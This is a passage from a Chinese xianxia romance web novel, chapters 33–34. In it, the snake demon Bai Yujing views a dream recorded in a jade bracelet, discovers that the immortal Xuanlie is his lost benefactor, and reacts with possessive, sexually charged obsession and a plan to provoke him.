几百年养育幼崽的经验终于在此刻起到了作用,没什么见识的小天道一下子便被哄好了。 白玉京见状松了口气之余,在心下起了放弃探究此事的念头。 玄冽的灵心他恐怕一时半会是找不到了,反正他也不是第一次在玄冽这里吃亏了,不如尽早放弃,以防后面再搭进去更多。 况且梦中之事皆是虚妄,岂能当真? 灵族轻欲,妖族重欲,再加上蛇性本淫,在梦里睡一睡玄天仙尊而已,自己又不会当真怀孕,他们俩谁占谁便宜还不好说呢。 想明白这些,白玉京立刻放下了那点执念。 反正他大概也能猜到以玄冽的癖好,在梦中会对他做什么。 想不起来倒也好,省得再丢人,不如装不知道。 眼下最要紧的是,得找个借口离开他,找地方把白妙妙这个蠢得和自己一样的蛋生下来…… 然而,白妙妙这个倒霉孩子被哄好之后,突然和它小爹一样灵机一动:【对了,妙妙记得爹爹快苏醒的时候,一直在潜意识中说那场梦很重要,绝对不能忘记。】 白玉京一怔。 很重要……? 【……妙妙想起来了!】 妙妙突然在他腹中闪了闪光,一时间激动得连称呼都忘了。 【我想起来了!娘亲当时在潜意识中说,父亲送您的那个镯子里记录了梦境中的所有事!】 【妙妙说的都是真的,娘亲不相信可以去看镯子!】 作者有话说: 石头的回合到此结束了嘿嘿嘿[奶茶][奶茶] 马上小蛇就要发现真相了,没想到吧,先掉马的是恩公![奶茶][奶茶] 第33章 真相 白玉京闻言一怔, 来不及纠正妙妙的称呼,蓦得看向手腕。 梦境中玄冽那句威胁他的话霎时浮上心头—— “你再敢逃一次,本尊就把它等下记录下来的一切交给你夫君。” 白玉京自动忽略其中让人害臊的部分, 脑海中迅速分析起这句话背后的含义。 ……原来这玉镯的功能不是玄冽在梦中随便编造的吗? 不过好像也对,它本就是血山玉本体的“眼睛”所化, 能够用来记录梦境中发生的事情似乎也合理。 想到这里,原本已经被打消的好奇心再次浮上心头, 白玉京沉了沉腰, 一屁股坐在身下人的腹肌上, 看向对方眯了眯眼。 ……本座今天倒要看看, 玄冽这臭石头到底在梦里做了什么亏心事。 【这镯子里面记录的东西怎么看?】 他在心底问小天道。 妙妙却闪了两下道:【妙妙不知道哎。】 ……堂堂天道怎么问什么都一问摇头三不知! 然而, 这孩子虽然什么都不知道, 却非常善于思考, 甚至苦思冥想了一会儿才给它小爹提建议:【这镯子应该是叔叔的眼睛吧,爹爹不如问问叔叔呢?】 ……本座要是能问他还用在这苦思冥想吗?!这倒霉孩子怎么真的和自己一样蠢! 白玉京登时感觉苍生无光,养这么个笨蛋天道,三千界的未来可怎么办。 他无可奈地吸了一口气, 摘下玉镯, 垂眸摩挲着光滑的表面。 灵族没有身外化身,所以理论上来说, 这就是玄冽本体的一部分。 所以, 怎么才能暂时切断血玉和它本体的联系, 既能让自己窥探到玄冽的记忆,又能保证这件事不被对方发现呢? …… ……有了。 白玉京突然灵机一动。 他怎么把自己给忘了?论起隔绝, 世界上还有什么比通天蛇更完美的容器? 小天道在他肚子里都能安安全全地不被发现, 更何况一块血山玉呢。 想到这里, 白玉京不由得从心底升起几分得意, 他勾起嘴角,抬手在血玉镯上一抹,手腕粗细的玉镯便缓缓缩小成了戒指那么大的玉环。 自己先前付出了那么多代价,谁知道一切的钥匙原本就在他手上戴着呢? 这可真是踏破铁鞋无觅处……得来全不费功夫啊。 白玉京勾了勾嘴角,张嘴便将玉环含到了嘴中。 湿软炙热的触感骤然传来,睡梦之中的玄冽蓦地一顿,似是隐约有了种苏醒的预兆。 白玉京见状神色一凛,连忙俯下身靠在他怀中,凑到他耳边轻轻吹了口气。 ——魅术可是妖族的看家本领,虽然他用得比不上那群狐狸,但蛊惑一个正在梦中的玄冽还是绰绰有余的。 事实证明白玉京的自信确实不是空穴来风,下一刻,玄冽一顿,离体的血玉暂时从通感中剥离,本体则再次陷入了沉睡。 ……睡得这么快,指不定在梦中正怎么折腾自己。 白玉京面上一红,心下则和小天道说:【乖宝宝,闭上眼,接下来的事小孩子不能看,回去睡觉吧。】 小天道乖乖道:【好的,爹爹晚安,叔叔晚安。】 ……这称呼真的好奇怪,仿佛自己正背着孩子父亲跟哪个外人偷情一样。 白玉京一边腹诽,一边用舌尖抵住口腔中炙热的玉环,感受到腹中的金光缓缓熄灭后,他才安心闭上双眼。 唇舌间,因为缩小后仅剩下一枚眼睛的玉环正在濡湿柔软中一眨不眨地凝视着他。 白玉京用神识对上那道目光后,不知怎的小腹一紧,半晌才找回理智,用神识轻声和那玉环撒娇道:【郎君,让卿卿借你的眼睛看一看上次的梦境好不好?】 他撒娇撒得百转千回,自己都把自己说恶心了,那眼睛闻言缓缓闭了起来。 ……用力过猛了? 白玉京正思索着对策,下一刻,眼前却突然闪过了一阵白光。 他不由得一怔,回过神后又有些不可思议——就这么简单?玄冽对自己一点都不设防吗? 没等白玉京想明白事情为什么会这么简单,点点斑斓的色光便在他浮现,逐渐拼凑成了大片大片的艳红。 ——来了。 白玉京连忙打消脑海中的一切杂念,屏住呼吸,一时间竟生出了些许期待,他倒要看看那十天到底发生了什么,能让自己那么惦记。 然而,任由白玉京做足了十二万分的准备,他也没料到那玉镯展现的记忆居然并非是连续的。 玉镯耐不住他撒娇,但又不愿展现某些事情,便直接捡着它自己最喜欢的片段,怼着白玉京的眼睛开始播放。 于是,没有任何铺垫,白玉京就那么猝不及防地看到了仰面躺在喜榻上的自己。 “……!?” 他只听到大脑轰然一声炸开,整个人瞬间便僵在了原地。 却见绣着鸳鸯的鲜红喜被上,托着蛇尾的美人面色酡红地看着身边人,眼底尽是不加掩盖的痴迷与爱恋:“夫君……” 过了仿佛有一甲子那么久,白玉京才从那股前所未有的震惊中勉强回过了一点神。 这、这是在……干什么!? 然而眼前的一切还只是开胃菜。 就在白玉京震惊地恨不得把玄冽两巴掌扇醒时,他却惊恐地发现,自己的视角居然在逐渐降低。 那张痴迷依恋的容颜暂时从视线中消失后,白玉京终于意识到自己……不,是那个缩小的玉环,居然套在自己的尾尖上。 为什么要把玉环套在那里…… 他突然生出了一种极度不妙的预感,理智几乎在脑海中尖叫,可他的身体就好似被粘在了那处一样,只能僵硬地看着眼前的一切。 却见视线缓缓降下,最终,悬在了那处没有鳞片,却被他自己用手指按着的地方。 正当白玉京目瞪口呆地看着这一幕,整个人已经羞得冒烟时,犹豫了片刻的视线居然继续降了下去。 等等…停、停停……这是要干什么!? 白玉京心中几乎是在尖叫,却完全没办法阻止眼前的画面。 那可是玄冽的眼睛,怎么能放进——!! “……” 所有的呐喊与尖叫尽数失声,眼前的画面几乎把白玉京给吓傻了,他就那么呆呆地坐在那里,眼底尽是茫然。 这是什么……自己为什么非要看这些…… 巨大的羞耻几乎把他的思考能力都给融化掉了,一时间只剩下了一具可怜的躯壳。 那枚小巧的玉环被他用尾尖带着,仿佛现在了一片泥泞中一样,声音传过来都宛如隔了层软纱,听起来格外不真切:“可、可以拿出来了吗,夫君……” “再坚持一下。” “可是还没有给夫君看过……夫君想看卿卿吗?” ……他已经看得不能再看了,白玉京以一种灵魂出窍般的平静评价道,甚至可能已经回味过八百遍了,你就安心吧。 此刻,他整条蛇的魂魄仿佛都被这些崭新的认知给冲刷了一遍。 不过一上来就看到这么冲击的画面,倒也有些好处,由于最初的刺激太大,哪怕接下来发生的一切远超白玉京的想象,但他居然也能堪称平静地坐在那里,没有爆发出太大的反应——比如就地把玄冽掐死什么的。 他只是呆呆地坐在玄冽腹肌上,大脑出于某种自我保护机制,暂时过滤了那些羞愤欲绝的情绪,只给他剩下了些许茫然与不解。 自己的身体原来是可以被掰成这种样子的吗? 血山玉的本体原来还能这么用? 耳坠为什么还能挂在那里? 自己被欺负得泪水都控制不住,为什么看起来还是那么幸福? 白玉京想一万年恐怕也不可能想明白这些问题,到最后,他一片空白的大脑只剩下一个苍白无力的念头——来个人挖个坑把他和玄冽一起埋了吧,埋之前记得把他俩都烧成灰,让这些污秽□□的事赶紧灰飞烟灭。 他现在无比确信以及肯定,玄冽此人绝对生出了灵心——没有生出灵心的实心石头绝对想不出这种玩法。 看着梦中被欺负到连表情都控制不住的自己,若不是情况不对,白玉京简直想夸玄冽一声天才。 半颗灵心尚且如此,若是让这王八蛋生出一整颗灵心,自己岂不是要被他玩死? 他本该感到羞耻或是愤怒,只可惜他已经彻底被眼前的画面给震傻了。 整个人仿佛已经从这个世界羽化登仙了一样,只剩下身体还在诚实地做出反应,几乎快要熟透了。 看着自己像玄冽娶回家的笨蛋老婆一样,让摆什么姿势就摆什么姿势。 白玉京的大脑甚至开始自我保护般做起了自我安慰,不就是区区一个梦么,没什么大不了的。 他就是在梦里真给玄冽生了一百个蛋,那也做不了数,有什么大不了的。 就这点东西便能让自己执念强烈到让腹中的小天道都听到? 那梦中的自己还真是没见过什么大风大浪。 仿佛只要自己不崩溃,这些事就不存在一样,白玉京一边强撑着在心头嘲讽着梦中的自己,一边又非常诚实地盯着眼前的画面,恨不得将梦中那个自己给一口吃下去。 用神识重现整整十日的梦境,所用的时间也不会超过一盏茶的时间。 然而,白玉京却感觉仿佛过去了一万年那么久,当那荒诞的梦境终于接近终幕时,他才发现自己不知何时,竟僵硬得连呼吸都忘了。 等到梦境中的自己终于餍足地瘫软在丈夫怀中后,白玉京一颤,像是从冰雪的封印中融化出来一般,蓦然撑在琉璃几上,近乎呜咽般喘起气来。 然而,理智勉强回炉后,他却暂时顾不上自己只是旁观便湿漉一片的身体,反而率先生出了另一个念头——所以,不是无媒无聘,他们在梦里是拜过天地,也喝过合卺酒的。 ……他不是连个承诺都得不到的可怜小蛇。 此念头一出,巨大的羞耻感骤然浮上心头,羞得白玉京面色涨红,竟比方才看到那般画面时还要强烈百倍。 他、他和玄冽拜了堂…… 正当白玉京控制不住心头滋生出的窃喜时,画面中拥着他的玄冽却突然道:“卿卿可曾听过,黄粱一梦的故事?” 梦中之人尚未回过神,梦外的白玉京闻言却瞬间一个激灵,当即察觉到了不对劲。 果不其然,梦中的自己洋洋自得地讲完黄粱一梦的故事后,玄冽却道:“不会有天亮的时候了。” “十日已尽,卿卿。” “多谢你。” 白玉京一怔,回神之后的第一反应不是疑惑,而是和梦中自己一样的愤怒。 玄冽这厮演什么苦情戏呢? 堂也拜了,睡也睡了,自己就差真给他生一窝蛋了,这人居然翻脸就打算不认了? 凭什么!? 白玉京正愤怒地和梦中的自己共情着,他口中的玉镯却突然闪烁了两下,似是想截住这段回忆。 ……不对劲! 白玉京连忙用舌尖抵住闪烁的玉环,蹙眉回忆起从开始至今看到的画面。 ……不对,所谓拜堂只是他凭借自己和玄冽身上的喜服产生的联想,其实在刚刚的回忆中,他根本就没看到两人拜堂的画面,也没看到喝合卺酒的画面。 所以,玄冽都昏迷了,他被切割出的本体居然还在下意识隐瞒自己! 白玉京八百多年的智力在此刻达到巅峰,当即含着玉环试探道:【郎君,梦境内容好像不全,卿卿想从头开始看。】 【……】 玉环上的眼睛心虚般向旁边移动了几分,显然是陷入了犹豫。 ……这王八蛋果然还在骗自己! 【求求你了,郎君。】白玉京做梦恐怕也想不到,自己有朝一日居然会用魅术对付一枚玉环,【你偷偷放给卿卿看看嘛,我不会让他知道的。】 【……】 【你放给我嘛,】他心一狠,软声蛊惑道,【下一次,卿卿变出双腿让你放进去看,好不好?】 此话一出,本就摇摆不定的玉环一下子背叛了本体。 原本已经支离破碎的画面随即泛起了一阵白光,再次凝聚起来。 按理来说,这枚玉镯其实是在洞房时才被玄冽拿出来的,理论上它只该记录洞房往后的那些画面。 但当时整个梦境都在玄冽的操控下,他显然不会只保留半截梦境。 于是,时光回溯,终于回到了梦境起点。 玄冽算无遗策了这么多年,未曾想反倒在此被白玉京将了一军,可谓是“机关算尽太聪明,反误了卿卿性命”。 白光散去,眼前竟然一片漆黑。 白玉京眯了眯眼,刚想在黑暗中看得更清楚一些,便突然一顿。 却见黑暗深处,一个他无比熟悉的身影,怀抱着幼小可爱的小蛇,从那条熟悉的山路上缓缓走了下来。 “……” 有那么一瞬间,白玉京感觉自己仿佛在炎炎夏日被泼了一盆冰水一样,从头到脚凉了个透彻。 大脑仿佛一时间无法处理眼前的画面,直到梦境中响起了他自己的声音—— “恩公!” 白玉京终于缓缓睁大眼睛,一眨不眨地看着眼前的一幕。 他看到入梦的自己情不自禁地走到那人面前,语气恍惚道:“恩公,求你……” “求你不要抛弃卿卿……” 恩……公。 恩公。 所有的一切宛如被串起的珠子一般,刹那间豁然开朗。 而他沸腾了一晚上的鲜血却在此刻缓缓降下,最终变得冰冷彻骨。 白玉京八百年来从来没有像此刻这般清醒冷静过,一瞬间,他什么都明白了。 他明白了梦境的最后,自己为什么会那么痛苦,明白了玄冽为什么固执己见地要抹除他对那段梦境的记忆。 更明白了,为什么曾经那个满眼都是自己的人,会变成沈风麟那般视他如敝履的模样。 原来是他认错了人。 是他错将鱼目当明珠,平白追了那不知哪来的野鬼三世,却忘记了向身后多看一眼。 原来他的恩公,从始至终就不可能有来世。 直到今天白玉京才知道,在巨大的冲击面前,自己居然是没有情绪波动的,更多的反而是恍然大悟。 怪不得这五百年来,他不管养什么孩子玄冽都要管。 怪不得不久前,玄冽听到自己说沈风麟才是他的恩公转世后,会有那么大的反应。 在过于磅礴的刺激中,白玉京甚至来不及怨恨,反而尽是疑惑。 玄冽既然早在五百年前与自己重逢时就已经认出了自己,为何不与自己相认? 还有,一个月前这人在仙云台上看到自己时恐怕就认出了他,为什么不直接挑明? 他的大脑依旧处在自我保护的本能中,自顾自地寻找着疑点,让他不至于在第一时间感受到过度的刺激。 很快,白玉京心头的疑惑便得到了解答。 他像个旁观者一样,看着自己被哄骗着,不,看着自己心甘情愿地嫁给他的恩公作新娘。 看着自己在被捏造的梦境中与那人拜了堂。 到了喝完合卺酒,自己羞涩地掀起喜袍说准备好时,白玉京却以一种诡异的平静和玉环道:【夫君,这段卿卿看过了。】 【……】 听闻他突然改了称呼,那只眼睛明显一顿。 【卿卿想看最后那一段,夫君。】 最终,避无可避之下,画面不得已快速略过了方才已经展现过的洞房花烛夜,来到了既定的结局。 “我只有半颗灵心,卿卿可想好了?” “灵心不全者,情亦不全。” “所谓不全,指的是每过十年便会遗忘一切感情,周而复始……直至永远。” 听着玄冽在梦中一句句的剖白,白玉京终于恍然大悟。 怪不得、怪不得…… 一切终于水落石出,所有疑惑皆在此刻得到了解答。 正因为每过十年便会遗忘,所以不敢与他相认。 但又因为拥有半颗灵心,所以玄冽还是情难自禁,忍不住想在梦中与他拜堂成婚。 至于六百年前自己到底为什么被抛弃,以及之后那接近一百年的空白中,玄冽到底发生了什么…… 白玉京不是话本中那些一根筋的傻子,他当然猜到了玄冽势必有什么不得已的苦衷,所谓的抛弃,大概率也是误会。 他更知道,那人爱他如此之深,当时所做的一切肯定都是为了他好。 但那又如何呢? 他突然不想做一条善解人意的小蛇了。 他既不想听那人的解释,也不想理解他的苦衷。 那股波澜不惊到堪称麻木的情绪终于在这一刻全部褪去,滔天的情绪如暴风雨般席卷而来。 白玉京蓦地扶住胸口,支在琉璃几上痛苦地喘息起来。 爱意、怨恨、愤怒、惊喜与心疼……无数情绪涌上心头,几乎要把他整颗心给撕碎掉。 这一刻,白玉京竟然莫名地理解了沈风麟,原来彻骨的感情居然真的是扭曲的。 原来失而复得的惊喜,和恨不得将其吞吃入腹的恨意,居然是可以同时存在的。 过了不知道多久,夜幕渐深,拖着蛇尾的美人终于在烛光下缓缓抬眸,妖异的竖瞳一眨不眨地看向自己熟睡的丈夫。 令人头皮发麻地摩擦声在屋内响起,他重新坐回玄冽身上,轻声道:“恩公,不……” 他缓缓俯身,身上的金玉在灯光下熠熠生辉。 “夫君。” 那话语中带着让人毛骨悚然的爱恋与近乎病态的怨恨。 修长的手指轻轻划过那人英俊至极的容颜,顺着他的脸颊一路往下,最终停在那伤痕未愈的胸口,似乎爱到恨不得将他一口吞下,又忍不住想将他的心生剖出来。 “你可真是……让卿卿好找啊。” 为什么一直不告诉我。 为什么说永远爱我,又要将我推开。 为什么口口声声说不希望我记得,却又对我做尽夫妻之事,让我痴迷于你的抚慰,再离不开你。 为什么这么口是心非,分明忍不住想要将我关起来,表面上却又如此克制。 口腔中的血玉微微震动。 ——夫君要解释吗? 可惜,本座暂时不想听。 牙齿蓦然咬破舌尖,妖血淌在玉环上的瞬间,那只眼睛猛地一滞,似是带有些许不甘想要抗拒。 可惜,区区这么一小截血山玉,根本不足以和暴怒的妖皇之力抗争。 最终,血玉无能为力地闭上了眼睛。 白玉京一边不紧不慢地舔舐着安静下来的血玉,一边轻轻抬手,摸过那人冷峻深邃的容颜,眼底逐渐染上了一丝夹杂着危险的痴迷。 ……可真是道貌岸然啊,仙尊大人。 面上装得大度又无私,实际上最想用笼子把我装起来的人,不是沈风麟,而是你吧? 自仙云台重逢之日算起,至今这一个多月来,又是献心头血,又是送玉镯的,到底哪一件事是在将我推开? 正气凛然的样子演久了,不会连你自己都信了吧? 端的是一副光风霁月,兼济苍生的仙尊模样,骨子里却还是藏不住血山玉那扭曲的本性。 虚伪、善妒、阴险、恶劣又偏执…… 好在这一切都没有关系。 无论你是卑劣还是阴险,是阴暗还是善妒……无论你是何种模样,我都爱你。 我会永远爱你。 白玉京垂眸吐出那枚被妖血封印的玉环,轻轻一抹,堪称平静地重新戴在手腕上。 他就那么托着下巴,居高临下地看着玄冽,任由自己身下泥泞一片的地方自己干涸。 所以,你也要永远和我在一起,夫君。 刚刚睡去没一会儿的小天道硬是被白玉京巨大的情绪波动给吓醒了:【……爹爹?】 白玉京轻声道:【宝宝怎么醒了?】 小天道还以为母体遭到了什么变故,见他无事后,它才小小地松了口气:【妙妙感觉爹爹好像有点激动……爹爹看到叔叔的记忆了?】 白玉京应了一声:【嗯,看到了。】 小天道惊喜道:【妙妙没有说谎吧!】 白玉京柔声道:【是爹爹错怪妙妙了,妙妙是个好孩子,爹爹该多谢你才对。】 【不然……爹爹也不会记起这么重要的事情。】 他的语气透着股微妙的平静,妙妙却听出来了些许异样:【……爹爹是在生气吗?】 白玉京垂眸看着眼前人:【别害怕,爹爹不是在生妙妙的气。】 妙妙小心翼翼道:【那是在生叔叔的气?】 【是啊。】白玉京托着下巴幽幽道,【你父亲惹爹爹生气了,所以爹爹打算让他付出点代价……妙妙说好不好?】 小天道有些不解:【爹爹不是让妙妙喊父亲叔叔吗?】 白玉京没有在第一时间回答,只是用目光缓缓描摹着眼前人,半晌才道:【他是本座的恩公,更是本座的夫君,自然也是你父亲。】 小天道敏锐地发现他状态似乎不太对劲,于是非常有灵性地闭了嘴,没有问他在梦中看到了什么。 白玉京抬起手缓缓掐住玄冽的喉咙,却感受不到丝毫脉动。 也对,一个天生死物,怎么可能会有呼吸和心跳呢? 感受到他暴虐的冲动,妙妙忍不住小声道:【爹爹……爹爹要吃了父亲了?】 要吃了他吗? 有什么近乎扭曲的情感在胸口呼之欲出。 吃了他吧,只要把夫君吃到肚子里,你就能永远和他在一起了。 “……” 烛光下的美人忍不住收紧手上的力气,眼底涌动着浓烈的爱恨,几乎要把一切都给吞没。 半晌,白玉京却神色如常地松开手,露出了一个略带痴恋是笑容:【爹爹这么爱他,怎么可能舍得吃了他呢。】 小天道忍不住道:【那爹爹……想让父亲付出什么代价呢?】 白玉京笑盈盈地看着眼前人,不紧不慢道:【爹爹要让你父亲——】 【痛失所爱。】 作者有话说: 黑化小蛇宝宝可爱死了[摸头][摸头] 第34章 激怒 白玉京不紧不慢地吐出那四个字, 小天道沉默了片刻后却非常不给他小爹面子地拆台道:【听起来爹爹好像根本不舍得伤害父亲呢。】 【……】 【闭嘴,宝宝。】白玉京在心底轻声道,【再乱说话小心爹爹等你出生后揍你。】 可怜的白妙妙没有赶上好时候, 它的“母亲”怀上它时已经变成了一条成熟的小蛇,不再是之前那个随便捡个什么东西都能溺爱的小蛇了。 白玉京吃了前面那么多白眼狼的亏后, 终于痛定思痛,打算做一个严厉的父母。 因此, 可怜的白妙妙作为他养过的孩子里面最听话的那个, 反而迎来了最严厉的“母亲”, 实在是有些生不逢时。 好在小天道根本不知道白玉京之前养孩子是什么样子的, 闻言颇为自豪道:【妙妙之前一直在被追杀, 不怕被爹爹揍。】 白玉京:【……】 听着如此天真无邪的声音, 他刚下定的决心一下子便又软了。 他深吸了一口气, 抬眸看了眼外面的夜色。 他们目前身处的是千机特意为他和玄冽安排的住处。 此处名为星竹苑,乃是整个太微大世界中唯一能看到昼夜流转的地方,传闻是昔日大巫姽瑶修行之地。 夜色还长,巫酒之力下, 玄冽一时半会儿也醒不过来, 白玉京索性腻腻歪歪地靠在对方怀里,垂眸用蛇尾将自己的手腕和玄冽的手腕缠在一起, 心底则向小天道询问起正事:【说起追杀, 你再回忆一下, 一直在追杀你的东西,是沈风麟身上的那个系统吗?】 妙妙闪了两下道:【妙妙不确定, 爹爹所说的沈风麟……就是那个外来之人吗?】 【外来之人?】白玉京一怔, 【你怎么知道他是外来之人?】 随着心头血的喂养, 小天道明显长大了一点, 说话也更有逻辑了:【他的灵魂和大家的灵魂都不一样,而且他的灵魂一直在燃烧。】 白玉京从玄冽怀中抬起头:【怎么个燃烧法?】 【就像是木柴那样燃烧。】妙妙用一种很奇怪的描述解释道,【妙妙不知道爹爹所说的系统是不是追杀我的那个东西,但妙妙能看清楚它在沈风麟身上的样子。】 【它就像是一条只剩下骨架的假龙,好像受了很重的伤,所以只能寄生在沈风麟身上。】 【而沈风麟的灵魂就像是……嗯,供养那条假龙的燃料。】 ……那种东西居然也能被重伤吗?是谁伤了它?昔日全盛状态下的天道?还是……青羽? 白玉京不禁蹙眉,忍不住松开两人的手腕,把尾尖递到嘴边,一边咬一边思索, 至于沈风麟燃烧的灵魂……他到底是知道此事所以甘之如饴,还是正因为一无所知,所以才能心甘情愿地做着傀儡? 半晌,白玉京道:【那当沈风麟灵魂燃尽之时,会出现什么情况?】 小天道诚实道:【妙妙不知道。】 理论上没有了沈风麟,那所谓的系统便没了维持的燃料,一切便会迎刃而解……可是,真有这么简单吗? 白玉京蹙眉道:【沈风麟的灵魂还剩下多少?】 妙妙回忆了一下道:【在妙妙来到爹爹肚子里的那一天,他的灵魂大概还有六成。】 沈风麟今年才十八岁,灵魂居然就燃烧了接近一半?这系统的消耗居然有这么大吗? 白玉京蹙眉思索着小天道所说的话,总感觉这所谓的系统并不像个单纯的死物。 他半天没有出声,小天道自顾自地闪了一会儿。 又过了一会儿,妙妙忍不住困倦道:【爹爹还有什么别的想问的事吗?妙妙又有些困了……】 【暂时没有了。】白玉京回神道,【宝宝困了就睡吧。】 妙妙乖巧地应了一声,金光缓缓熄灭,很快便再次睡了过去。 白玉京靠在玄冽怀中,垂眸看向自己微微隆起的小腹。 小天道苏醒的时间越来越长,说出的话也越来越清晰。 或许……这个由他亲自孕育,由玄冽的心头血喂养的孩子,很快要出生了。 想到这里,他抬眸靠在那人怀中,一眨不眨地看着对方。 而他送给玄冽的“惊喜”,恐怕很快便也要如约而至了。 “夫君……”他轻声呢喃着,卷着蛇尾缓缓磨过那人坚硬分明的腹肌,“快点醒来吧,让卿卿好好报答一下你的恩情。” * 当白昼降临时,巫酒的效果终于彻底消散,玄冽刚一睁开眼睛,便对上了小美人灿烂无比的笑容:“郎君醒了。” 玄冽一怔,只一照面,便敏锐地察觉到了有什么不对劲的地方。 白玉京今日穿了件冰蓝色的锦袍,在阳光的照耀下纯净得不可方物。他拥着玄冽的胳膊,像先前一样亲昵地靠上来,只是不知道为什么,整个人好似比之前还要更加柔软无骨。 ……果然不对劲。 玄冽抬手搂住他的腰,垂眸道:“怎么一大清早就撒娇。” 臭石头心里早就爽翻了吧,还在这儿跟本座装什么正人君子。 白玉京心下暗骂,但他深知以自己的演技,一照面就被玄冽看出异样是肯定的,所以他索性垂下睫毛,故意装作被发现的样子。 果不其然,下一刻,他便被人捏着下巴抬起脸:“心虚?” “……” 白玉京心下一颤,脑海中骤然浮现出昨晚被人冷声命令的画面,忍不住悄悄夹了夹腿。 “说话,卿卿。” 白玉京闻言,“只能”老老实实地敛了笑意,一副不高兴的样子先发制人道:“仙尊把灵心藏哪了?” 玄冽一顿,眼底闪过一丝了然:“你把我灌醉,就是为了找灵心?” “不然我费那么大力干什么?”白玉京理直气壮道,“仙尊可是把卿卿里面外面都摸透了,难道连灵心都不愿意让我看一眼吗?” 玄冽闻言不知为何看了他一眼,那一眼似是藏着某种沉甸甸的深意,白玉京被他看得一怔。 “仙尊别不说话啊,您就这么怕步初代灵主的后尘吗?”白玉京回神之后,不依不饶地撒娇道,“您就告诉我嘛,我又不是大巫。” 说着,他用手指轻轻划上玄冽胸口,暗示般小声道:“我可不舍得……生剖仙尊的灵心。” 玄冽闻言却道:“无妨。” 白玉京不明所以一怔:“什么无妨?” “你便是想效仿姽瑶也无妨。”玄冽攥着他的手腕,低头吻了一下他的指尖,“等本尊修出完整的灵心后,便将它挖出来送你。” 白玉京:“……!” 白玉京仿佛被烫到一般,蓦地收回指尖,心下暗骂疯子。 但他确信这人确实能干出这件事,毕竟连眼珠子都能挖下来给自己当手镯,他还有什么干不出来的。 “以后这种话仙尊还是不要说了。”美人垂下睫毛淡淡道,“卿卿不喜欢听。” “……是我的错。”玄冽见他当真生气,连忙轻轻握住他的右手,“以后不会再说了。” 说完见白玉京还是不高兴,他搂着人还打算再哄几句,千机的神识传音便到了。 怀中美人见状善解人意道:“卿卿没有生气,正事要紧,仙尊还是快听听大巫说了什么吧。” 趁着玄冽和千机交流的空隙,白玉京抿着唇暗下眸色,摩挲着手腕上的玉镯缓缓思索着,所以这石头到底把灵心藏哪了? 得知真相后,白玉京现在对玄冽的爱意有十二万分的自信,恐怕自己便是要玄冽的命,这人也能毫不犹豫地捧过来给自己。 如今,他不愿意告诉自己灵心到底在何处,肯定不是因为猜忌或者怀疑,而是另有隐情。 大概率就和他那个每隔十年便要清空一次感情的症状一样,所以不能透露。 ……可恶,早知道就该趁着玄冽喝醉,在梦里把话给套出来,不然也不至于白挨一顿欺负。 奈何木已成舟,白玉京深知玄冽若是不愿意说,就是把他整块石头碾碎恐怕也问不出什么来。 除了为自己平白献出去的屁股哀悼外,白玉京一时间也没什么别的办法。 ……灵心一事还是从长计议为好,眼下,另外一件事显然更加要紧一些。 见玄冽收回神识,白玉京抬眸道:“可是千机大巫答应了我们之前的请求?” “对,他占卜结果大吉。”玄冽见他欲言又止,“怎么了?” 白玉京垂下头,抬手轻轻理了理发梢,半晌道:“我只是在想……仙尊说沈风麟未死,若是来日能寻得他,能让我亲自动手吗?” 玄冽闻言一顿,面色果然迅速冷了下来:“为什么?” 白玉京没有看他,似是沉浸在了往日的回忆中:“一来,我是他的师尊,一日为师终身为父,将他教养成这般模样,本来便是我之错。” “二来……” 白玉京故意顿了一下,甚至略显刻意地拿出胸口的玉蛇佩,垂眸轻轻摩挲着。 “他毕竟是我恩公转世,我自幼长于恩公之手,如今纵然要与他恩断义绝,也该——” 遏制不住的可怖灵气突然在竹屋内爆开。 白玉京恰到好处地止住声音,抬眸不解:“仙尊?” “……既是恩断义绝,何必执念于此。”玄冽一眨不眨地凝视着他,“你还想寻他的第四世吗?” 玄天仙尊何曾对这种小事耿耿于怀过,如此耐不住脾气质问的样子,倒像是生怕妻子被穷小子哄走的凡夫俗子。 白玉京心下笑盈盈地欣赏着他的妒忌,面上却低下眼帘:“仙尊教训的是,可是……我总有些不甘心。” “不甘于什么?” “我曾深爱着恩公,只可惜那时年幼,尚不知道什么叫爱。” 玄冽手背上蓦然青筋暴露。 白玉京仿佛没看到一样,腰一软便靠在了他怀中,似是陷入了回忆:“后来当我幡然悔悟之时,已是他的第三世了。” “我以为磐石弗转,哪怕转世,他也依旧是我的小恩公,便倾尽全部对他。” “谁知道,好不容易将他养大,最终却落得这样的下场。” “想来……是和恩公有缘无分罢了。” 玄冽已经被气得说不出话来了。 白玉京在心下笑得恨不得摇尾巴,面上强忍着笑意却还是流露出些微颤抖,单侧的白玉耳坠随即在阳光下熠熠生辉。 他故意模糊了说辞,毕竟他确实是在沈风麟这一世的时候,被玄冽操控着梦境才意识到自己对恩公到底是什么感情的,他并没有说谎。 只不过,这番话落在玄冽耳朵里的意思便是另一种了。 但终究,玄冽没忍心苛责他半句,只是冷声问道:“你说,你深爱着你的恩公?” “我当然曾经深爱着他。”白玉京故意加重了“曾经”二字,“若是没有爱过,又怎会对他的转世这么掏心掏肺?” “但也只是爱过罢了。” 此话一出,他满意地感受到玄冽刹那一僵。 “有些情意,既然当时没有说出口,此刻便没必再说的必要了。” “毕竟迟来的深情不值一文……仙尊觉得呢?” “……” 玄冽手上死死地扣着他的腰,青筋从暴起开始就没有消下去过。 ——臭石头,本座还治不了你了? 白玉京在心底哼笑,面上却端出一副可怜的模样:“所以,卿卿现在只有仙尊了。” “仙尊可不能再抛弃卿卿了。” 玄冽拥住怀中人,半晌像是把真心彻底生剖了出来一样,珍重而艰涩道:“不会。” “那仙尊现在能不能告诉我……”怀中人轻轻抬头,“你的灵心到底藏在哪里?” 在白玉京意料之内的寂静中,两人都未曾注意到,窗外的一片竹叶竟诡异地悬浮在空中,半晌才悄然落下。 “我就知道仙尊还是不愿告诉我。”白玉京半真半假道,“罢了,我倒要赌一把,看看自己会不会步大巫后尘。” “求仙尊垂怜,可别让卿卿输得太惨了。” 玄冽终于低头,珍重无比地吻了吻他的眉心:“不会让你输的。” ……真是好深情啊,仙尊大人。 白玉京面上笑得甜蜜,心下却轻哼道。 可惜,这次要输的人不是我,而是你。 当日下午,两人再次来到巫山殿。 这一次千机戴上了他的龟壳面具,显然是刚刚卜算出结果便立刻通知了玄冽。 果不其然,两人刚一坐下,千机便哑着声音道:“老朽卜算出了结果,大吉。” 白玉京扫了一眼屋内的装潢,知道玄冽和千机早就认出了自己,索性也懒得装了:“你连天地坛都没设,卜得哪门子卦象,不会是糊弄我们吧?” 千机摇头道:“此等大事,老朽不信天地,只信先祖。” ……好大的口气。 